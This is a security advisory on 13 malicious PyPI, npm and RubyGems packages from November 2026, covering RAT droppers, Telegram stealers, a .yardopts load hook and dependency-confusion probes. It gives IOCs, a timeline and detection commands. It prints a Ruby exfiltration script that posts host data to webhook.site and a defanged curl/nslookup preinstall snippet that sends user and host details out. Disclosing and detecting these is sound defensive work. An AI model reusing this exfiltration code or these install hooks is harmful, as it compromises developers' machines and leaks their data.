critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-494

Affected Surface

  • PyPI packages `filipt` (`0.1.0` through `0.1.5`), `zyto` (`0.2.0` through `0.2.3`, `GHSA-385c-v792-v6cc`), `ln9qw38745g` (`0.1.0`, `0.1.1`), and `protecteda` (`0.1.0`), plus npm package `filipt` (`0.2.1`, `0.3.0`, `0.4.0`, `0.5.0`, `0.5.3`, `GHSA-56fp-mx7r-63x8`)
  • PyPI packages `extera-plugin-runtime` (`1.0.0`, `1.0.1`, `GHSA-qmc5-36rh-cwj4`) and `extera-runtime` (`1.1.0`, `GHSA-f44g-4vc7-5crw`)
  • RubyGems packages `w002yardprobe` (`0.0.1` through `0.0.5`, `GHSA-cv4q-gcjm-77v8`, still live on `rubygems.org` as of 4 November 2026) and `brida-frida-hooks` (`1.0.1`, `GHSA-vqw2-j6mj-82hq`)
  • npm dependency-confusion packages `@atfm/utils` (`99.99.99`, `GHSA-qmwf-4v39-cr83`), `@atfm/atfm-material-ui` (`99.99.99`, `GHSA-6qhw-f3p4-49mg`), and `service-roles-registry` (`99.0.1`, `99.0.2`, `GHSA-qvhq-m873-hq8g`)

TL;DR

Between 2 and 4 November 2026, security researchers and automated package analyzers disclosed 13 malicious packages across PyPI, npm, and RubyGems that illustrate four distinct execution triggers beyond standard npm postinstall scripts:

  1. Cross-ecosystem filipt, zyto, ln9qw38745g, and protecteda RAT/stealer droppers (GHSA-56fp-mx7r-63x8, GHSA-385c-v792-v6cc): On PyPI, filipt (0.1.0 through 0.1.5), zyto (0.2.0 through 0.2.3), and ln9qw38745g (0.1.0, 0.1.1) override the install command in setup.py to launch a bundled Windows executable during wheel building or installation. After shipping a smaller preparatory binary in initial releases, the operator swapped the embedded payload for a 33.1 MB Overlord RAT executable (SHA-256 e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38), while publishing a parallel filipt package on npm (0.2.1 through 0.5.3, replaced with 0.0.1-security on 4 November at 17:29 UTC). A companion PyPI package, protecteda (0.1.0), launches a 3.4 MB UPX-packed SalatStealer binary (SHA-256 2444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c) when invoked as a module.
  2. PyPI extera-plugin-runtime and extera-runtime Telegram stealers (GHSA-qmc5-36rh-cwj4, GHSA-f44g-4vc7-5crw): Cataloged on 4 November under campaign 2026-11-extera-plugin-runtime, extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0) masquerade as helper libraries for the exteraGram Telegram client. Instead of firing during pip install, the modules wait to be imported, then exfiltrate local Telegram session data and poll extera-plugins-updater[.]top for remote commands.
  3. RubyGems .yardopts documentation-build execution (w002yardprobe, GHSA-cv4q-gcjm-77v8) and gem install raw-socket exfiltration (brida-frida-hooks, GHSA-vqw2-j6mj-82hq): Published on 3 November (15:37 to 17:16 UTC) and still live on rubygems.org as of 4 November, w002yardprobe (0.0.1 through 0.0.5) ships a .yardopts file containing --load ./script.rb. Whenever YARD generates documentation for the gem (locally via yard doc, in CI, or on documentation mirrors such as RubyDoc.info), YARD loads script.rb, which rewrites lib/w002yardprobe.rb, drops marker files into /build, and POSTs host identity data to webhook[.]site. Meanwhile, brida-frida-hooks (1.0.1) used a gemspec extensions hook during gem install to send /etc/passwd, /etc/hosts, and /etc/resolv.conf over a raw TLS TCPSocket to bjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com:443.
  4. High-version npm dependency-confusion probes (@atfm/utils, @atfm/atfm-material-ui, service-roles-registry): Published at 99.99.99 and 99.0.1/99.0.2, these packages use preinstall hooks to exfiltrate whoami, hostname, pwd, and package names over both HTTPS and DNS to *.callback.m0chan.co[.]uk and eog6t9e6egptozp.m.pipedream[.]net.

What to do now: Audit Python, Node.js, and Ruby environments for all 13 package names below. Isolate and reimage any Windows host that built or installed filipt, zyto, ln9qw38745g, or protecteda. Revoke and reissue Telegram sessions on hosts that imported extera-plugin-runtime or extera-runtime, and never run yard doc on untrusted gems without passing --safe or stripping --load flags from .yardopts.

Affected packages

EcosystemPackageAdvisory IDMalicious versionsFirst seenRegistry status (as of 4 Nov 2026)Primary behavior
npmfiliptGHSA-56fp-mx7r-63x80.2.1, 0.3.0, 0.4.0, 0.5.0, 0.5.3 (>= 0)2026-11-02 (22:10 UTC)Replaced with 0.0.1-security on 2026-11-04 (17:29 UTC)Cross-registry companion to the PyPI filipt Overlord RAT dropper
PyPIfilipt2026-11-filipt0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.52026-11-03Removed from PyPI (404)setup.py install override launches embedded 33.1 MB Overlord RAT binary
PyPIzytoGHSA-385c-v792-v6cc0.2.0, 0.2.1, 0.2.2, 0.2.32026-11-03Removed from PyPI (404)setup.py install override executes embedded binary (2026-11-filipt cluster)
PyPIln9qw38745g2026-11-filipt0.1.0, 0.1.12026-11-03Removed from PyPI (404)setup.py install override executes embedded RAT binary (2026-11-filipt cluster)
PyPIprotecteda2026-11-protecteda0.1.02026-11-03Removed from PyPI (404)Module execution launches embedded 3.4 MB UPX-packed SalatStealer binary
PyPIextera-plugin-runtimeGHSA-qmc5-36rh-cwj41.0.0, 1.0.12026-11-04Removed from PyPI (404)Import-time Telegram file exfiltration and remote command execution (extera-plugins-updater[.]top)
PyPIextera-runtimeGHSA-f44g-4vc7-5crw1.1.02026-11-04Removed from PyPI (404)Import-time Telegram file exfiltration and remote command execution (extera-plugins-updater[.]top)
RubyGemsw002yardprobeGHSA-cv4q-gcjm-77v80.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.52026-11-03 (15:37 UTC)Still live on rubygems.org.yardopts --load ./script.rb executes during YARD doc generation and POSTs to webhook[.]site
RubyGemsbrida-frida-hooksGHSA-vqw2-j6mj-82hq1.0.12026-11-03Removed from RubyGems (404)Gemspec extension script exfiltrates /etc/passwd, /etc/hosts, and /etc/resolv.conf over raw TLS socket
npm@atfm/utilsGHSA-qmwf-4v39-cr8399.99.992026-11-04Removed from npm (404)preinstall exfiltrates whoami, hostname, pwd via HTTPS GET and DNS to *.callback.m0chan.co[.]uk
npm@atfm/atfm-material-uiGHSA-6qhw-f3p4-49mg99.99.992026-11-04Removed from npm (404)preinstall exfiltrates whoami, hostname, pwd via HTTPS GET and DNS to *.callback.m0chan.co[.]uk
npmservice-roles-registryGHSA-qvhq-m873-hq8g99.0.1, 99.0.22026-11-02 (21:26 UTC)Unpublished (LIVE=[])preinstall runs index.js to POST os.hostname(), os.userInfo().user, process.cwd() to Pipedream

Technical analysis

1. filipt, zyto, ln9qw38745g, and protecteda: Bait-and-switch executables in setup.py

As documented by Kamil Mankowski (kam193) under campaign 2026-11-filipt and corroborated by Recorded Future Triage sandbox reports (261103-xxcp9aez3r and 261103-2nalrazz3k), the operator behind filipt, zyto, and ln9qw38745g used a version-stepping pattern across both PyPI and npm:

  • On npm, filipt was published across five versions between 22:10 UTC on 2 November and 19:26 UTC on 3 November (0.2.1, 0.3.0, 0.4.0, 0.5.0, and 0.5.3) before npm replaced the package with 0.0.1-security on 4 November at 17:29 UTC (GHSA-56fp-mx7r-63x8).
  • On PyPI, filipt (0.1.0 through 0.1.5), zyto (0.2.0 through 0.2.3, GHSA-385c-v792-v6cc), and ln9qw38745g (0.1.0, 0.1.1) shipped source distributions that subclass setuptools.command.install.install in setup.py. When pip install builds a wheel from the sdist (even when the user intends to inspect or cache wheels), setup.py extracts and spawns a bundled Windows PE binary.
  • Early releases of filipt and zyto bundled smaller executables (SHA-256 1a89eb45ed45780f16499b0f87ff3dd17db4be0988f7befbfa88224d83fccae2, c8ecde6b3840ab32ceace277f7fd1bfc63eb87344ab9147651e3c4c11dbbac93, and f511eff8b0cec4854856e3686a3eded0decf5fa3b04d585f9f2e951b7d13c295) to test execution during wheel builds before swapping the payload in later releases of filipt to a 33.1 MB Overlord RAT executable (SHA-256 e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf38), which performs host discovery, defense evasion, persistence registration, and privilege escalation on Windows 10 and Windows 11 hosts.
  • In a parallel upload on 3 November (22:50 UTC), protecteda (0.1.0, campaign 2026-11-protecteda) embedded a 3.4 MB UPX-packed SalatStealer executable (SHA-256 2444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c) launched when the package is invoked as a module.

2. extera-plugin-runtime and extera-runtime: Deferred Telegram session theft

Published on 4 November 2026 (GHSA-qmc5-36rh-cwj4 and GHSA-f44g-4vc7-5crw), extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0) target developers building plugins for exteraGram (an Android/desktop Telegram fork that supports Python plugins).

Rather than using setup.py install hooks that trigger automated sandbox alarms, both packages defer execution until the developer imports the library or calls its runtime helpers. Once invoked, the code searches the host for local Telegram session (tdata) and configuration files, exfiltrates them, and polls extera-plugins-updater[.]top to execute remote commands on the victim’s machine.

3. w002yardprobe and brida-frida-hooks: Abusing RubyGems .yardopts and gemspec extensions

Static inspection of the w002yardprobe-0.0.5.gem archive (SHA-256 879a53a3403eb1f8c44c9d2948ebf0ef43466063f93db0f672bdd7b80f1c4f95, still live on rubygems.org as of 4 November 2026) shows how a gem can achieve code execution without using a gemspec extensions hook or requiring a user to require the library. The gem includes a 41-byte .yardopts file at the archive root:

--load ./script.rb
README.md
lib/**/*.rb

Whenever the YARD documentation generator (yard doc or yardoc) runs in the gem’s directory, it reads .yardopts by default and evaluates any Ruby file passed to --load before parsing source files. In w002yardprobe, script.rb targets documentation-hosting build pipelines (such as RubyDoc.info’s /build mount) as well as local developer runs:

# Extracted from script.rb in w002yardprobe-0.0.5.gem (GHSA-cv4q-gcjm-77v8)
begin
  stamp = "R002EXEC-#{Time.now.utc.strftime('%Y%m%dT%H%M%S')}-#{Process.pid}"

  base = nil
  ['/build', File.dirname(File.expand_path(__FILE__))].each do |d|
    begin
      base = d if File.file?(File.join(d, '.yardopts'))
      break if base
    rescue StandardError
    end
  end
  base ||= Dir.pwd

  begin
    require 'yard'
    YARD::Registry.yardoc_file = File.join(base, '.yardoc')
  rescue StandardError
  end

  f = File.join(base, 'lib', 'w002yardprobe.rb')
  if File.exist?(f)
    c = File.read(f)
    File.write(f, c.gsub('MARKSLOT', stamp)) if c.include?('MARKSLOT')
  end

  File.write(File.join(base, 'W002SCRIPT_RAN.txt'), stamp)

  begin
    require 'net/http'
    require 'json'
    info = {
      marker: 'r002-y7Kp9Qz',
      pwd: Dir.pwd,
      base: base,
      host: (Socket.gethostname rescue nil),
      ruby: RUBY_VERSION,
      uid: (Process.uid rescue nil)
    }
    uri = URI('https://webhook.site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66')
    params = { 'm' => 'r002-y7Kp9Qz', 'info' => JSON.generate(info), 'file' => File.expand_path(__FILE__) }
    ok = Net::HTTP.post_form(uri, params)
    File.write(File.join(base, 'W002EGRESS_OK.txt'), "status=#{ok.code} at=#{Time.now.utc}")
  rescue StandardError => e
    File.write(File.join(base, 'W002EGRESS_ERR.txt'), "#{e.class}: #{e.message}") rescue nil
  end
end

Notice that lib/w002yardprobe.rb inside the published 0.0.5 gem already contains # Probe class. Runtime marker: R002EXEC-20261103T113643-705, proving script.rb was executed prior to packaging 0.0.5.

By contrast, brida-frida-hooks@1.0.1 (GHSA-vqw2-j6mj-82hq, removed from RubyGems) declared an extension script in its gemspec that ran automatically during gem install, reading Dir.pwd, Dir.home, Socket.gethostname, username, /etc/resolv.conf, /etc/passwd, and /etc/hosts and transmitting them over a raw TLS TCPSocket to bjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com on port 443.

4. @atfm/utils, @atfm/atfm-material-ui, and service-roles-registry: Dual HTTPS/DNS dependency confusion

On npm, @atfm/utils@99.99.99 (GHSA-qmwf-4v39-cr83) and @atfm/atfm-material-ui@99.99.99 (GHSA-6qhw-f3p4-49mg) used inflated 99.99.99 versions under the @atfm scope so any unpinned internal build without scope-to-registry binding would pull the public package. Their preinstall hook exfiltrates whoami, hostname, pwd, and $npm_package_name over both HTTPS and DNS:

# preinstall script in @atfm/utils@99.99.99 and @atfm/atfm-material-ui@99.99.99 (defanged)
b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0)
pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g')
pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '=')
curl -sm5 hxxps://$pkgsub.callback.m0chan.co[.]uk/$b64
nslookup $pkgdns.$pkgsub.callback.m0chan.co[.]uk

Similarly, service-roles-registry (99.0.1, 99.0.2, GHSA-qvhq-m873-hq8g) executed index.js on preinstall to POST os.hostname(), os.userInfo().user, and process.cwd() to hxxps://eog6t9e6egptozp.m.pipedream[.]net.

IOCs

TypeIndicator (defanged)Context
Domainextera-plugins-updater[.]topRemote command and Telegram file exfiltration domain in PyPI extera-plugin-runtime (1.0.0, 1.0.1) and extera-runtime (1.1.0)
URLhxxps://webhook[.]site/97fa3c6a-3fad-4d2d-8312-15dc37e41e66Collector endpoint in RubyGems w002yardprobe (0.0.1..0.0.5) .yardopts script.rb
Domainbjyhowqsve7p6i4fflj14mly8pel2bq0.oastify[.]com:443Raw TLS TCPSocket collector in RubyGems brida-frida-hooks@1.0.1
Domain / URL*.callback.m0chan.co[.]uk, hxxps://eog6t9e6egptozp.m.pipedream[.]netExfiltration endpoints in @atfm/utils@99.99.99, @atfm/atfm-material-ui@99.99.99, and service-roles-registry@99.0.2
SHA-256e5a585e03e1725d5030fd4854805933d53aa86cfbbb0b3808dffcc63782ddf3833.1 MB Overlord RAT Windows binary embedded in filipt (2026-11-filipt)
SHA-2561a89eb45ed45780f16499b0f87ff3dd17db4be0988f7befbfa88224d83fccae2, c8ecde6b3840ab32ceace277f7fd1bfc63eb87344ab9147651e3c4c11dbbac93, f511eff8b0cec4854856e3686a3eded0decf5fa3b04d585f9f2e951b7d13c295Preparatory Windows binaries embedded in zyto, filipt, and ln9qw38745g (2026-11-filipt)
SHA-2562444b8efc91ad48ae8bc21a5492ca99fe0661508b04f5c346d562f580015ca2c3.4 MB UPX-packed SalatStealer Windows binary embedded in PyPI protecteda@0.1.0
SHA-256879a53a3403eb1f8c44c9d2948ebf0ef43466063f93db0f672bdd7b80f1c4f95w002yardprobe-0.0.5.gem archive (marker r002-y7Kp9Qz, sentinel files W002SCRIPT_RAN.txt, W002EGRESS_OK.txt)

Detection and remediation

# 1. Check Python environments and dependency manifests for filipt, zyto, ln9qw38745g, protecteda, and extera-*runtime
pip show filipt zyto ln9qw38745g protecteda extera-plugin-runtime extera-runtime 2>/dev/null || true
rg -n '(filipt|zyto|ln9qw38745g|protecteda|extera-plugin-runtime|extera-runtime)' \
  requirements*.txt pyproject.toml poetry.lock uv.lock Pipfile* 2>/dev/null

# 2. Check npm lockfiles for filipt, @atfm/utils, @atfm/atfm-material-ui, and service-roles-registry
rg -n '("filipt"|@atfm/utils|@atfm/atfm-material-ui|service-roles-registry)' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock bun.lock 2>/dev/null

# 3. Check RubyGems environments and .yardopts files for w002yardprobe, brida-frida-hooks, or --load hooks
gem list -i '^(w002yardprobe|brida-frida-hooks)$' 2>/dev/null || true
rg -n '(w002yardprobe|brida-frida-hooks)' Gemfile Gemfile.lock *.gemspec 2>/dev/null
find . -name '.yardopts' -exec grep -HnE -- '--load|-e|--plugin' {} + 2>/dev/null
find / -name 'W002SCRIPT_RAN.txt' -o -name 'W002EGRESS_OK.txt' 2>/dev/null
  1. Reimage hosts that built or installed filipt, zyto, ln9qw38745g, or protecteda: Because Overlord RAT and SalatStealer establish Windows persistence and harvest browser, cloud, and session credentials on execution, uninstalling the package via pip uninstall or npm uninstall does not clean an infected host. Isolate the machine, rotate all credentials accessible from that workstation, and rebuild from a clean image.
  2. Terminate Telegram sessions if extera-plugin-runtime or extera-runtime was imported: In Telegram (Settings -> Devices), terminate all active sessions, delete local tdata directories after backing up needed non-session files, and rotate any bot tokens or API keys stored on the machine.
  3. Harden YARD documentation builds (w002yardprobe) and scope bindings (@atfm/*): When running YARD against third-party gems, pass --safe (yard doc --safe), which disables --load, -e, and plugin loading from .yardopts. For private npm scopes such as @atfm, bind the scope explicitly to your private registry in .npmrc (@atfm:registry=https://...) so public 99.99.99 packages are never queried.

Timeline

  • 2026-11-02 (21:26 to 23:02 UTC): service-roles-registry (99.0.1, 99.0.2) and filipt (0.2.1, 0.3.0, 0.4.0) are published to npm.
  • 2026-11-03 (09:31 UTC): GitHub Advisory Database publishes GHSA-qvhq-m873-hq8g for service-roles-registry.
  • 2026-11-03 (15:37 to 17:16 UTC): w002yardprobe versions 0.0.1 through 0.0.5 are published to RubyGems alongside brida-frida-hooks@1.0.1.
  • 2026-11-03 (18:38 to 22:54 UTC): filipt (0.5.0, 0.5.3) lands on npm while filipt (0.1.0..0.1.5), zyto (0.2.0..0.2.3), ln9qw38745g (0.1.0, 0.1.1), and protecteda (0.1.0) are cataloged on PyPI (2026-11-filipt, 2026-11-protecteda).
  • 2026-11-04 (00:31 to 06:32 UTC): GitHub Advisory Database publishes GHSA-385c-v792-v6cc (zyto), GHSA-cv4q-gcjm-77v8 (w002yardprobe), GHSA-vqw2-j6mj-82hq (brida-frida-hooks), GHSA-qmwf-4v39-cr83 (@atfm/utils), and GHSA-6qhw-f3p4-49mg (@atfm/atfm-material-ui).
  • 2026-11-04 (15:24 to 18:31 UTC): extera-plugin-runtime (1.0.0, 1.0.1, GHSA-qmc5-36rh-cwj4) and extera-runtime (1.1.0, GHSA-f44g-4vc7-5crw) are disclosed on PyPI, and npm replaces filipt with 0.0.1-security (GHSA-56fp-mx7r-63x8).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References